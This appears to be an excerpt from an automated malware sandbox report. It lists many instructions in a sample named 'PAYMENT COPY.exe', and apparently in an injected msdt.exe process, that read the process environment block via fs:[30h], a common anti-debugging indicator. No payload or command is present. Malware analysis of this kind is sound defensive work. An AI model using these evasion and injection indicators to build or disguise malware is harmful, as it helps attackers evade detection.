Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B02AE4 mov eax, dword ptr fs:[00000030h]		2_2_00B02AE4
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B02ACB mov eax, dword ptr fs:[00000030h]		2_2_00B02ACB
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B14A2C mov eax, dword ptr fs:[00000030h]		2_2_00B14A2C
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B14A2C mov eax, dword ptr fs:[00000030h]		2_2_00B14A2C
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE8A0A mov eax, dword ptr fs:[00000030h]		2_2_00AE8A0A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AF3A1C mov eax, dword ptr fs:[00000030h]		2_2_00AF3A1C
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADAA16 mov eax, dword ptr fs:[00000030h]		2_2_00ADAA16
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADAA16 mov eax, dword ptr fs:[00000030h]		2_2_00ADAA16
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD5210 mov eax, dword ptr fs:[00000030h]		2_2_00AD5210
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD5210 mov ecx, dword ptr fs:[00000030h]		2_2_00AD5210
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD5210 mov eax, dword ptr fs:[00000030h]		2_2_00AD5210
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD5210 mov eax, dword ptr fs:[00000030h]		2_2_00AD5210
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B1927A mov eax, dword ptr fs:[00000030h]		2_2_00B1927A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B8B260 mov eax, dword ptr fs:[00000030h]		2_2_00B8B260
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B8B260 mov eax, dword ptr fs:[00000030h]		2_2_00B8B260
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA8A62 mov eax, dword ptr fs:[00000030h]		2_2_00BA8A62
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B64257 mov eax, dword ptr fs:[00000030h]		2_2_00B64257
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B9EA55 mov eax, dword ptr fs:[00000030h]		2_2_00B9EA55
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD9240 mov eax, dword ptr fs:[00000030h]		2_2_00AD9240
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD9240 mov eax, dword ptr fs:[00000030h]		2_2_00AD9240
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD9240 mov eax, dword ptr fs:[00000030h]		2_2_00AD9240
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD9240 mov eax, dword ptr fs:[00000030h]		2_2_00AD9240
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B04BAD mov eax, dword ptr fs:[00000030h]		2_2_00B04BAD
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B04BAD mov eax, dword ptr fs:[00000030h]		2_2_00B04BAD
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B04BAD mov eax, dword ptr fs:[00000030h]		2_2_00B04BAD
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA5BA5 mov eax, dword ptr fs:[00000030h]		2_2_00BA5BA5
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0B390 mov eax, dword ptr fs:[00000030h]		2_2_00B0B390
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE1B8F mov eax, dword ptr fs:[00000030h]		2_2_00AE1B8F
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE1B8F mov eax, dword ptr fs:[00000030h]		2_2_00AE1B8F
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B02397 mov eax, dword ptr fs:[00000030h]		2_2_00B02397
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B9138A mov eax, dword ptr fs:[00000030h]		2_2_00B9138A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B8D380 mov ecx, dword ptr fs:[00000030h]		2_2_00B8D380
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AFDBE9 mov eax, dword ptr fs:[00000030h]		2_2_00AFDBE9
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B003E2 mov eax, dword ptr fs:[00000030h]		2_2_00B003E2
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B003E2 mov eax, dword ptr fs:[00000030h]		2_2_00B003E2
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B003E2 mov eax, dword ptr fs:[00000030h]		2_2_00B003E2
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B003E2 mov eax, dword ptr fs:[00000030h]		2_2_00B003E2
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B003E2 mov eax, dword ptr fs:[00000030h]		2_2_00B003E2
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B003E2 mov eax, dword ptr fs:[00000030h]		2_2_00B003E2
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B553CA mov eax, dword ptr fs:[00000030h]		2_2_00B553CA
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B553CA mov eax, dword ptr fs:[00000030h]		2_2_00B553CA
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B9131B mov eax, dword ptr fs:[00000030h]		2_2_00B9131B
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B03B7A mov eax, dword ptr fs:[00000030h]		2_2_00B03B7A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B03B7A mov eax, dword ptr fs:[00000030h]		2_2_00B03B7A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADDB60 mov ecx, dword ptr fs:[00000030h]		2_2_00ADDB60
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA8B58 mov eax, dword ptr fs:[00000030h]		2_2_00BA8B58
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADDB40 mov eax, dword ptr fs:[00000030h]		2_2_00ADDB40
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADF358 mov eax, dword ptr fs:[00000030h]		2_2_00ADF358
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE849B mov eax, dword ptr fs:[00000030h]		2_2_00AE849B
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B914FB mov eax, dword ptr fs:[00000030h]		2_2_00B914FB
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B56CF0 mov eax, dword ptr fs:[00000030h]		2_2_00B56CF0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B56CF0 mov eax, dword ptr fs:[00000030h]		2_2_00B56CF0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B56CF0 mov eax, dword ptr fs:[00000030h]		2_2_00B56CF0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA8CD6 mov eax, dword ptr fs:[00000030h]		2_2_00BA8CD6
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0BC2C mov eax, dword ptr fs:[00000030h]		2_2_00B0BC2C
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA740D mov eax, dword ptr fs:[00000030h]		2_2_00BA740D
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA740D mov eax, dword ptr fs:[00000030h]		2_2_00BA740D
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA740D mov eax, dword ptr fs:[00000030h]		2_2_00BA740D
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91C06 mov eax, dword ptr fs:[00000030h]		2_2_00B91C06
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B56C0A mov eax, dword ptr fs:[00000030h]		2_2_00B56C0A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B56C0A mov eax, dword ptr fs:[00000030h]		2_2_00B56C0A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B56C0A mov eax, dword ptr fs:[00000030h]		2_2_00B56C0A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B56C0A mov eax, dword ptr fs:[00000030h]		2_2_00B56C0A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AF746D mov eax, dword ptr fs:[00000030h]		2_2_00AF746D
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B6C450 mov eax, dword ptr fs:[00000030h]		2_2_00B6C450
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B6C450 mov eax, dword ptr fs:[00000030h]		2_2_00B6C450
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0A44B mov eax, dword ptr fs:[00000030h]		2_2_00B0A44B
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B01DB5 mov eax, dword ptr fs:[00000030h]		2_2_00B01DB5
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B01DB5 mov eax, dword ptr fs:[00000030h]		2_2_00B01DB5
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B01DB5 mov eax, dword ptr fs:[00000030h]		2_2_00B01DB5
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B035A1 mov eax, dword ptr fs:[00000030h]		2_2_00B035A1
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA05AC mov eax, dword ptr fs:[00000030h]		2_2_00BA05AC
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA05AC mov eax, dword ptr fs:[00000030h]		2_2_00BA05AC
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD2D8A mov eax, dword ptr fs:[00000030h]		2_2_00AD2D8A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD2D8A mov eax, dword ptr fs:[00000030h]		2_2_00AD2D8A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD2D8A mov eax, dword ptr fs:[00000030h]		2_2_00AD2D8A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD2D8A mov eax, dword ptr fs:[00000030h]		2_2_00AD2D8A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD2D8A mov eax, dword ptr fs:[00000030h]		2_2_00AD2D8A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0FD9B mov eax, dword ptr fs:[00000030h]		2_2_00B0FD9B
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0FD9B mov eax, dword ptr fs:[00000030h]		2_2_00B0FD9B
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B02581 mov eax, dword ptr fs:[00000030h]		2_2_00B02581
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B02581 mov eax, dword ptr fs:[00000030h]		2_2_00B02581
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B02581 mov eax, dword ptr fs:[00000030h]		2_2_00B02581
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B02581 mov eax, dword ptr fs:[00000030h]		2_2_00B02581
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B88DF1 mov eax, dword ptr fs:[00000030h]		2_2_00B88DF1
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AED5E0 mov eax, dword ptr fs:[00000030h]		2_2_00AED5E0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AED5E0 mov eax, dword ptr fs:[00000030h]		2_2_00AED5E0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B9FDE2 mov eax, dword ptr fs:[00000030h]		2_2_00B9FDE2
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B9FDE2 mov eax, dword ptr fs:[00000030h]		2_2_00B9FDE2
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B9FDE2 mov eax, dword ptr fs:[00000030h]		2_2_00B9FDE2
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B9FDE2 mov eax, dword ptr fs:[00000030h]		2_2_00B9FDE2
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B56DC9 mov eax, dword ptr fs:[00000030h]		2_2_00B56DC9
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B56DC9 mov eax, dword ptr fs:[00000030h]		2_2_00B56DC9
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B56DC9 mov eax, dword ptr fs:[00000030h]		2_2_00B56DC9
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B56DC9 mov ecx, dword ptr fs:[00000030h]		2_2_00B56DC9
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B56DC9 mov eax, dword ptr fs:[00000030h]		2_2_00B56DC9
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B56DC9 mov eax, dword ptr fs:[00000030h]		2_2_00B56DC9
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B9E539 mov eax, dword ptr fs:[00000030h]		2_2_00B9E539
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B5A537 mov eax, dword ptr fs:[00000030h]		2_2_00B5A537
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B04D3B mov eax, dword ptr fs:[00000030h]		2_2_00B04D3B
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B04D3B mov eax, dword ptr fs:[00000030h]		2_2_00B04D3B
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B04D3B mov eax, dword ptr fs:[00000030h]		2_2_00B04D3B
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA8D34 mov eax, dword ptr fs:[00000030h]		2_2_00BA8D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		2_2_00AE3D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		2_2_00AE3D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		2_2_00AE3D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		2_2_00AE3D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		2_2_00AE3D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		2_2_00AE3D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		2_2_00AE3D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		2_2_00AE3D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		2_2_00AE3D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		2_2_00AE3D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		2_2_00AE3D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		2_2_00AE3D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE3D34 mov eax, dword ptr fs:[00000030h]		2_2_00AE3D34
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADAD30 mov eax, dword ptr fs:[00000030h]		2_2_00ADAD30
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AFC577 mov eax, dword ptr fs:[00000030h]		2_2_00AFC577
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AFC577 mov eax, dword ptr fs:[00000030h]		2_2_00AFC577
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B13D43 mov eax, dword ptr fs:[00000030h]		2_2_00B13D43
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B53540 mov eax, dword ptr fs:[00000030h]		2_2_00B53540
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AF7D50 mov eax, dword ptr fs:[00000030h]		2_2_00AF7D50
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B546A7 mov eax, dword ptr fs:[00000030h]		2_2_00B546A7
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA0EA5 mov eax, dword ptr fs:[00000030h]		2_2_00BA0EA5
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA0EA5 mov eax, dword ptr fs:[00000030h]		2_2_00BA0EA5
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA0EA5 mov eax, dword ptr fs:[00000030h]		2_2_00BA0EA5
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B6FE87 mov eax, dword ptr fs:[00000030h]		2_2_00B6FE87
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE76E2 mov eax, dword ptr fs:[00000030h]		2_2_00AE76E2
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B016E0 mov ecx, dword ptr fs:[00000030h]		2_2_00B016E0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA8ED6 mov eax, dword ptr fs:[00000030h]		2_2_00BA8ED6
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B18EC7 mov eax, dword ptr fs:[00000030h]		2_2_00B18EC7
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B8FEC0 mov eax, dword ptr fs:[00000030h]		2_2_00B8FEC0
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B036CC mov eax, dword ptr fs:[00000030h]		2_2_00B036CC
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B8FE3F mov eax, dword ptr fs:[00000030h]		2_2_00B8FE3F
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADE620 mov eax, dword ptr fs:[00000030h]		2_2_00ADE620
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0A61C mov eax, dword ptr fs:[00000030h]		2_2_00B0A61C
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0A61C mov eax, dword ptr fs:[00000030h]		2_2_00B0A61C
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADC600 mov eax, dword ptr fs:[00000030h]		2_2_00ADC600
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADC600 mov eax, dword ptr fs:[00000030h]		2_2_00ADC600
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00ADC600 mov eax, dword ptr fs:[00000030h]		2_2_00ADC600
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B08E00 mov eax, dword ptr fs:[00000030h]		2_2_00B08E00
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B91608 mov eax, dword ptr fs:[00000030h]		2_2_00B91608
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE766D mov eax, dword ptr fs:[00000030h]		2_2_00AE766D
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AFAE73 mov eax, dword ptr fs:[00000030h]		2_2_00AFAE73
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AFAE73 mov eax, dword ptr fs:[00000030h]		2_2_00AFAE73
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AFAE73 mov eax, dword ptr fs:[00000030h]		2_2_00AFAE73
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AFAE73 mov eax, dword ptr fs:[00000030h]		2_2_00AFAE73
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AFAE73 mov eax, dword ptr fs:[00000030h]		2_2_00AFAE73
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE7E41 mov eax, dword ptr fs:[00000030h]		2_2_00AE7E41
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE7E41 mov eax, dword ptr fs:[00000030h]		2_2_00AE7E41
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE7E41 mov eax, dword ptr fs:[00000030h]		2_2_00AE7E41
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE7E41 mov eax, dword ptr fs:[00000030h]		2_2_00AE7E41
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE7E41 mov eax, dword ptr fs:[00000030h]		2_2_00AE7E41
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE7E41 mov eax, dword ptr fs:[00000030h]		2_2_00AE7E41
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B9AE44 mov eax, dword ptr fs:[00000030h]		2_2_00B9AE44
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B9AE44 mov eax, dword ptr fs:[00000030h]		2_2_00B9AE44
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B57794 mov eax, dword ptr fs:[00000030h]		2_2_00B57794
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B57794 mov eax, dword ptr fs:[00000030h]		2_2_00B57794
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B57794 mov eax, dword ptr fs:[00000030h]		2_2_00B57794
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AE8794 mov eax, dword ptr fs:[00000030h]		2_2_00AE8794
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B137F5 mov eax, dword ptr fs:[00000030h]		2_2_00B137F5
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0E730 mov eax, dword ptr fs:[00000030h]		2_2_00B0E730
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD4F2E mov eax, dword ptr fs:[00000030h]		2_2_00AD4F2E
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AD4F2E mov eax, dword ptr fs:[00000030h]		2_2_00AD4F2E
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B6FF10 mov eax, dword ptr fs:[00000030h]		2_2_00B6FF10
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B6FF10 mov eax, dword ptr fs:[00000030h]		2_2_00B6FF10
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA070D mov eax, dword ptr fs:[00000030h]		2_2_00BA070D
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA070D mov eax, dword ptr fs:[00000030h]		2_2_00BA070D
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AFF716 mov eax, dword ptr fs:[00000030h]		2_2_00AFF716
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0A70E mov eax, dword ptr fs:[00000030h]		2_2_00B0A70E
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00B0A70E mov eax, dword ptr fs:[00000030h]		2_2_00B0A70E
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AEFF60 mov eax, dword ptr fs:[00000030h]		2_2_00AEFF60
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00BA8F6A mov eax, dword ptr fs:[00000030h]		2_2_00BA8F6A
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 2_2_00AEEF40 mov eax, dword ptr fs:[00000030h]		2_2_00AEEF40
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA8CD6 mov eax, dword ptr fs:[00000030h]		5_2_04DA8CD6
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D914FB mov eax, dword ptr fs:[00000030h]		5_2_04D914FB
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D56CF0 mov eax, dword ptr fs:[00000030h]		5_2_04D56CF0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D56CF0 mov eax, dword ptr fs:[00000030h]		5_2_04D56CF0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D56CF0 mov eax, dword ptr fs:[00000030h]		5_2_04D56CF0
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CE849B mov eax, dword ptr fs:[00000030h]		5_2_04CE849B
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D6C450 mov eax, dword ptr fs:[00000030h]		5_2_04D6C450
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D6C450 mov eax, dword ptr fs:[00000030h]		5_2_04D6C450
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04D0A44B mov eax, dword ptr fs:[00000030h]		5_2_04D0A44B
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04CF746D mov eax, dword ptr fs:[00000030h]		5_2_04CF746D
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA740D mov eax, dword ptr fs:[00000030h]		5_2_04DA740D
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA740D mov eax, dword ptr fs:[00000030h]		5_2_04DA740D
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 5_2_04DA740D mov eax, dword ptr fs:[00000030h]		5_2_04DA740D
